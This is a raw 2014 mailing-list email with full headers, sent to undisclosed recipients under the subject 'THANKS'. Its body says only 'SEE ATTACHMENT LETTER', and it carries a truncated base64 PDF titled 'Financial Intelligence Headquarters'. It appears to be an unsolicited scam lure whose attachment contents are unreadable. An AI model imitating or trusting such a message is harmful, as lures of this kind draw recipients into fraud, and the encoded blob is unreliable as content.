From xa@embarqmail.com Sat Mar 1 00:55:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 305B37F3F for ; Sat, 1 Mar 2014 00:55:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 16F97304070 for ; Fri, 28 Feb 2014 22:55:20 -0800 (PST) X-ASG-Debug-ID: 1393656918-04cbb066e514dda0001-NocioJ Received: from smtp.centurylink.net (mail.centurylink.net [205.219.233.9]) by cuda.sgi.com with ESMTP id Hdit9ooJEKqf9cSx (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 28 Feb 2014 22:55:19 -0800 (PST) X-Barracuda-Envelope-From: xa@embarqmail.com X-Barracuda-Apparent-Source-IP: 205.219.233.9 DKIM-Signature: v=1; a=rsa-sha1; d=embarqmail.com; s=ctl201402; c=relaxed/simple; q=dns/txt; i=@embarqmail.com; t=1393656918; h=From:Subject:Date:To:MIME-Version:Content-Type; bh=mvoOSwvX7rlbGq9oeQ2kdD7w204=; b=R/NSdNpByA64eo6ifxuNjNAWweKCuxJlx41C7cDW52VJ4MalZu0VtCvNuy22Zx9l c9af9X9uLfl6PX6wqU1RZ1UXRjBphGVa/YjsotKkc3cBM6DBRYsv4+urOpZ+PTr3 eP/2gjUM2tGTA44VUr0q2fyDtPu7gUj1BP/RFZfenxWCz7TY7DTRkKd7af1aLRIM PhDY5XjM+uJLTKRhq6B2puHhLcm1KSIep6SWdY4uWAo2ExhitvtS5vK+y48cJnN5 e1UnwtlsGIV7IGzwsxM6mJNty+aIYreF3UlpalNhSORtMcnoKowPGVWQe07rzFpf D2WvUskxk0uI2Rbk/iEoQA==; X_CMAE_Category: , , X-CNFS-Analysis: v=2.0 cv=Dc+VW4RW c=1 sm=1 a=9cW_t1CCXrUA:10 a=FKkrIqjQGGEA:10 a=1poGYrevpj8A:10 a=zrtfsDcf3T0A:10 a=1oqGTYSLAAAA:8 a=yDjO97oZzV9gxRwCLwYA:9 a=QEXdDO2ut3YA:10 a=bPbYnNDodHUA:10 a=wEIR26VSdGQA:10 a=86MgZOqIem2TsYtTcSUA:9 a=_W_S_7VecoQA:10 a=i4PDXFCCRecA:10 a=u_tVw9u34zAA:10 a=MJ0PlSgV6g9bp7uPG9IA:9 a=n3BslyFRqc0A:10 a=QEkGX9cb6z4A:10 a=TlBaDqK8ynXYOjef44tEQg==:117 X-CM-Score: 0 X-Scanned-by: Cloudmark Authority Engine X-Authed-Username: eGFAZW1iYXJxbWFpbC5jb20= Authentication-Results: smtp01.agate.dfw.synacor.com header.from=xa@embarqmail.com; sender-id=neutral Authentication-Results: smtp01.agate.dfw.synacor.com smtp.mail=xa@embarqmail.com; spf=neutral; sender-id=neutral Received-SPF: neutral (smtp01.agate.dfw.synacor.com: 10.40.66.3 is neither permitted nor denied by domain of embarqmail.com) Received: from [10.40.66.3] ([10.40.66.3:40262] helo=md41.agate.dfw.synacor.com) by smtp.centurylink.net (envelope-from ) (ecelerity 3.5.1.37854 r(Momo-dev:3.5.1.0)) with ESMTP id 13/D9-22961-05481135; Sat, 01 Mar 2014 01:55:14 -0500 Date: Sat, 1 Mar 2014 01:55:12 -0500 (EST) From: " Pt" Reply-To: Pt Message-ID: <648865124.34882954.1393656912623.JavaMail.root@embarqmail.com> In-Reply-To: <12376970.34877785.1393656819748.JavaMail.root@embarqmail.com> Subject: THANKS MIME-Version: 1.0 X-ASG-Orig-Subj: THANKS Content-Type: multipart/mixed; boundary="----=_Part_34882948_1994962937.1393656912500" X-Originating-IP: [10.40.0.31] X-Mailer: Zimbra 7.2.2_GA_2852 (ZimbraWebClient - GC33 (Win)/7.2.2_GA_2852) X-Barracuda-Connect: mail.centurylink.net[205.219.233.9] X-Barracuda-Start-Time: 1393656919 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145628 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 1.21 MISSING_HEADERS Missing To: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; ------=_Part_34882948_1994962937.1393656912500 Content-Type: multipart/alternative; boundary="----=_Part_34882949_679901548.1393656912500" ------=_Part_34882949_679901548.1393656912500 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit -- SEE ATTACHMENT LETTER ------=_Part_34882949_679901548.1393656912500 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit


--
SEE ATTACHMENT LETTER
------=_Part_34882949_679901548.1393656912500-- ------=_Part_34882948_1994962937.1393656912500 Content-Type: application/pdf; name="Financial Intelligence Headquarters.pdf" Content-Disposition: attachment; filename="Financial Intelligence Headquarters.pdf" Content-Transfer-Encoding: base64 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 